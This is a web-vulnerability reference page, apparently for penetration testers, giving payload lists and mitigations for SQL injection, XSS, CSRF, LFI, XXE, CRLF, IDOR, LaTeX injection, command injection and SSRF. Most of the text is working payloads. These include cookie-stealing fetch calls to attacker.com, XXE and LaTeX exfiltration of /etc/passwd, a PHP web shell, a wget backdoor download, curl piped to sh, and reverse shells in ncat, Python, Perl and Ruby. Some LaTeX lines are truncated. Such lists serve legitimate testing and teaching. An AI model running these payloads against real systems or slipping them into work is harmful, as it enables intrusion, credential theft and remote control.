Web Security Vulnerabilities

A comprehensive reference guide for security professionals, penetration testers, and developers

Security Operations Center

Vulnerability Reference

SQL Injection

High Risk

SQL injection allows attackers to interfere with the queries an application makes to its database, potentially accessing, modifying, or deleting unauthorized data.

Common Test Cases:

' OR 1=1--
"; DELETE FROM users--
" UNION SELECT password FROM users WHERE username = 'admin'--
" OR '1'='1
" OR "1"="1
" OR "a"="a
" AND "a"="b
" OR "a" LIKE "a
" OR "a"="a" AND "b"="b
" OR "a"="a" AND "b"="c
" OR "a"="a" AND (SELECT COUNT(*) FROM tablename)>0
" OR "a"="a" AND (SELECT COUNT(*) FROM tablename)=0
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT username,password,NULL FROM users--
' OR 1=1 LIMIT 1--
' AND 1=0 UNION SELECT NULL,table_name FROM information_schema.tables--
'; WAITFOR DELAY '0:0:5'--
'; SELECT * FROM sys.tables--
' OR 1=1; INSERT INTO admin VALUES('hacker','password')--

Mitigation Strategies:

  • Use parameterized queries and prepared statements
  • Implement proper input validation and sanitization
  • Apply principle of least privilege to database users
  • Use stored procedures with proper parameterization
  • Enable SQL query logging and monitoring
  • Use web application firewalls (WAF) with SQL injection rules

Cross-Site Scripting (XSS)

High Risk

XSS vulnerabilities allow attackers to inject malicious scripts into web pages viewed by other users, potentially stealing session tokens, cookies, or performing actions on behalf of the user.

Common Test Cases:

<script>alert("XSS")</script>
<script>alert(document.cookie)</script>
<img src="x" onerror="alert(document.cookie)">
<img src=x onerror=alert(document.domain)>
<a href="javascript:alert(document.cookie)">Click Here</a>
<svg onload=alert(document.domain)>
<link rel="stylesheet" href="data:text/css,#xss{background-image:url(javascript:alert(document.cookie))}">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4="></object>
<iframe src="javascript:alert(document.cookie)"></iframe>
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4="></embed>
<frame src="javascript:alert(document.cookie)"></frame>
<frameset onload=alert(document.cookie)>
<marquee onstart=alert(document.cookie)>
<video poster=javascript:alert(document.cookie)//>
<input onfocus=alert(document.cookie) autofocus>
<select onfocus=alert(document.cookie)><option>
<textarea onfocus=alert(document.cookie)>
<keygen onfocus=alert(document.cookie)>
<audio src=javascript:alert(document.cookie)>
<video src=javascript:alert(document.cookie)>
<body onload=alert(document.cookie)>
<details open ontoggle=alert(document.cookie)>
<svg><script>alert(document.cookie)</script></svg>
<img src=1 onerror=fetch('//attacker.com/steal?c='+document.cookie)>
<script>fetch('//attacker.com/xss?data='+document.cookie)</script>

Mitigation Strategies:

  • Implement Content Security Policy (CSP) headers
  • Encode output based on context (HTML, JavaScript, URL)
  • Use modern frameworks with built-in XSS protection
  • Validate and sanitize all user input
  • Use HTTP-only and Secure cookie flags
  • Implement proper input validation on both client and server

Cross-Site Request Forgery (CSRF)

Medium Risk

CSRF attacks force authenticated users to submit unwanted requests to web applications where they're currently logged in.

Common Test Cases:

<img src="http://example.com/transfer.php?amount=1000&to=attacker_account" />

<form action="http://example.com/transfer.php" method="POST">
    <input type="hidden" name="amount" value="1000">
    <input type="hidden" name="to" value="attacker_account">
    <input type="submit" value="Submit request">
</form>

<script>
    var req = new XMLHttpRequest();
    req.open("POST", "http://example.com/transfer.php", true);
    req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    req.send("amount=1000&to=attacker_account");
</script>

<iframe src="http://example.com/transfer.php?amount=1000&to=attacker_account"></iframe>

<link rel="stylesheet" href="http://example.com/transfer.php?amount=1000&to=attacker_account">

<a href="http://example.com/transfer.php?amount=1000&to=attacker_account">Click me</a>

<img src="http://example.com/transfer.php?amount=1000&to=attacker_account" style="display:none;" />

<script>
    fetch('http://example.com/transfer.php', {
        method: 'POST',
        body: 'amount=1000&to=attacker_account',
        headers: {'Content-Type': 'application/x-www-form-urlencoded'},
        credentials: 'include'
    });
</script>

Mitigation Strategies:

  • Implement CSRF tokens for state-changing operations
  • Use SameSite cookie attributes
  • Validate Referer and Origin headers
  • Implement double-submit cookie pattern
  • Use custom request headers for API endpoints
  • Implement proper authentication for sensitive operations

Local File Inclusion (LFI)

High Risk

LFI vulnerabilities allow attackers to include files on a server through the web browser, potentially leading to information disclosure or code execution.

Common Test Cases:

../../../etc/passwd
../../../etc/shadow
/proc/self/environ%00
../../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../etc/shadow%00
../../../../../../../../../../../proc/self/environ%00
../../../../../../../../../../../Windows/win.ini%00
../../../../../../../../../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../../../../../../../../etc/shadow
../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ
../../../../../../../../../../../../../../../../../../../../../../../Windows/win.ini
/var/www/html/index.php
C:\Windows\System32\drivers\etc\hosts
/etc/apache2/apache2.conf
../../../../../../../../../../../../usr/local/etc/php.ini
../../../../../../../../../../../var/log/apache2/access.log
../../../../../../../../../../../var/log/apache2/error.log
php://filter/convert.base64-encode/resource=index.php
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
expect://ls
php://input
php://filter/read=convert.base64-encode/resource=config.php

Mitigation Strategies:

  • Use allowlists for file inclusion
  • Validate and sanitize file paths
  • Disable dangerous PHP functions
  • Use proper file permissions
  • Implement proper error handling
  • Use chroot or jail environments

XML External Entity (XXE) Injection

High Risk

XXE vulnerabilities allow attackers to interfere with an application's processing of XML data, potentially accessing internal files or making network requests.

Common Test Cases:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://evil.com/exploit">
]>
<foo>&xxe;</foo>

<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "file:///etc/passwd">
  %xxe;
]>

<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://evil.com/exploit">
  %xxe;
]>

<!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/shadow" >]>
<foo>&xxe;</foo>

<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
  %eval;
  %error;
]>

<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
  <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%file;'>">
  %eval;
  %exfil;
]>

Mitigation Strategies:

  • Disable XML external entity processing
  • Use modern XML parsers with secure defaults
  • Validate XML input against strict schemas
  • Consider using JSON instead of XML
  • Implement proper input validation
  • Use sandboxed XML processing environments

CRLF Injection

Medium Risk

CRLF injection allows attackers to inject carriage return and line feed characters to manipulate HTTP responses or headers.

Common Test Cases:

%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0a
%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert('CRLF Injection')</script>
%0d%0aLocation:%20http://attacker.com
%0d%0aSet-Cookie:%20sessionid=hacked
%0d%0aHTTP/1.1%20200%20OK%0d%0a%0d%0a<html><h1>CRLF Injection Successful</h1></html>
%0d%0aHTTP/1.1%20301%20Moved%20Permanently%0d%0aLocation:%20http://attacker.com
%0d%0aHTTP/1.1%20204%20No%20Content%0d%0aSet-Cookie:%20sessionid=deleted
%0d%0aHTTP/1.1%20302%20Found%0d%0aLocation:%20http://attacker.com/phishing.html
%0D%0ASet-Cookie: csrf_token=fake_token
%0D%0AX-XSS-Protection: 0
%0D%0AContent-Security-Policy: script-src 'unsafe-inline'
%0D%0AAccess-Control-Allow-Origin: http://evil.com
%0D%0AX-Frame-Options: ALLOWALL

Mitigation Strategies:

  • Validate and sanitize user input before using in headers
  • Use security headers to prevent response manipulation
  • Implement proper input encoding
  • Use modern web frameworks with built-in protection
  • Strip CRLF characters from user input
  • Validate header values before sending

Insecure Direct Object Reference (IDOR)

Medium Risk

IDOR vulnerabilities occur when applications expose internal object references without proper access control, allowing attackers to access unauthorized resources.

Common Test Cases:

http://foo.bar/viewuser?id=1%27%20OR%201%3D1%23
http://foo.bar/viewuser?id=%27%20UNION%20SELECT%20username%2C%20password%20FROM%20users%23
http://foo.bar/viewuser?id=%27
http://foo.bar/api/v1/users/12345/profile
http://foo.bar/download?file=invoice_12345.pdf
http://foo.bar/account/settings?user_id=54321
http://foo.bar/api/v2/orders/ORD-98765/details
http://foo.bar/admin/edit_user?id=ADMIN_001
http://foo.bar/messages/view?thread_id=MSG_54321
http://foo.bar/documents/share?doc_id=DOC_9876&permission=readwrite
http://foo.bar/api/v3/payments/process?transaction_id=TXN_87654321
http://foo.bar/analytics/report?company_id=COMP_1234&year=2023
http://foo.bar/projects/123/tasks/456/assign?user_id=789

Mitigation Strategies:

  • Implement proper access control checks
  • Use indirect object references instead of direct ones
  • Validate user permissions for each resource access
  • Implement rate limiting to prevent enumeration
  • Use UUIDs or random identifiers instead of sequential IDs
  • Implement proper authentication and authorization

LaTeX Injection

Medium Risk

LaTeX injection vulnerabilities occur when applications process user-supplied LaTeX content without proper validation, potentially leading to command execution or file access.

Common Test Cases:

\input{/etc/passwd}
\immediate\write18{ls -l /}
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
    \read\file to\line
    \message{\line}
\repeat
\closein\file
\usepackage{verbatim}
\begin{verbatim}
    \input{|
                
                            \end{verbatim}
\newwrite\outfile
\openout\outfile=shell.php
\write\outfile{<?php system($_GET['cmd']); ?>}
\closeout\outfile
\immediate\write18{curl -X POST -d @/etc/passwd http://attacker.com/exfil}
\input{|

Mitigation Strategies:

  • Disable LaTeX shell escape functionality
  • Sanitize user input before processing
  • Use sandboxed LaTeX environments
  • Implement proper file system permissions

Command Injection

High Risk

Command injection is a security vulnerability that allows an attacker to execute arbitrary commands on the host operating system via a vulnerable application. This attack is possible when an application passes unsafe user supplied data to a system shell.

Common Test Cases:

; cat /etc/passwd
&& wget http://malicious.com/backdoor -O /tmp/backdoor && chmod +x /tmp/backdoor && /tmp/backdoor
| base64 /etc/shadow | curl -X POST -d @- http://attacker.com/exfil
`echo 'ssh-rsa AAAAB...' >> ~/.ssh/authorized_keys`
$(curl http://attacker.com/reverse_shell.sh | sh)
%0A/usr/bin/ncat 10.0.0.1 4444 -e /bin/bash
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
perl -e 'use Socket;$i="10.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.0.0.1","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Mitigation Strategies:

  • Avoid using system commands with user input
  • Use parameterized commands or APIs
  • Implement strict input validation and sanitization
  • Use proper escaping and encoding
  • Run applications with least privilege

Server-Side Request Forgery (SSRF)

High Risk

Server-Side Request Forgery (SSRF) is a type of vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing. This can lead to unauthorized actions or access to data within the organization, either in the vulnerable application itself or on other back-end systems that the application can communicate with.

Common Test Cases:

http://localhost:8080/admin
http://127.0.0.1:3306
http://10.0.0.0/8
http://[::1]:22
file:///etc/passwd
dict://attacker:11111/
gopher://127.0.0.1:9000/_GET%20/secret%20HTTP/1.1%0AHost:%20example.com
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://[email protected]
http://127.0.0.1:3128/http://internal.service/api/secrets
jar:http://127.0.0.1:8080/internal.jar!/secret.txt
ldap://localhost:389
ftp://anonymous:[email protected]:21

Mitigation Strategies:

  • Validate and sanitize all user-supplied URLs
  • Implement URL allowlists and blocklists
  • Disable unnecessary URL schemes (file://, dict://, etc.)
  • Use network segmentation to isolate internal services
  • Implement proper error handling without information disclosure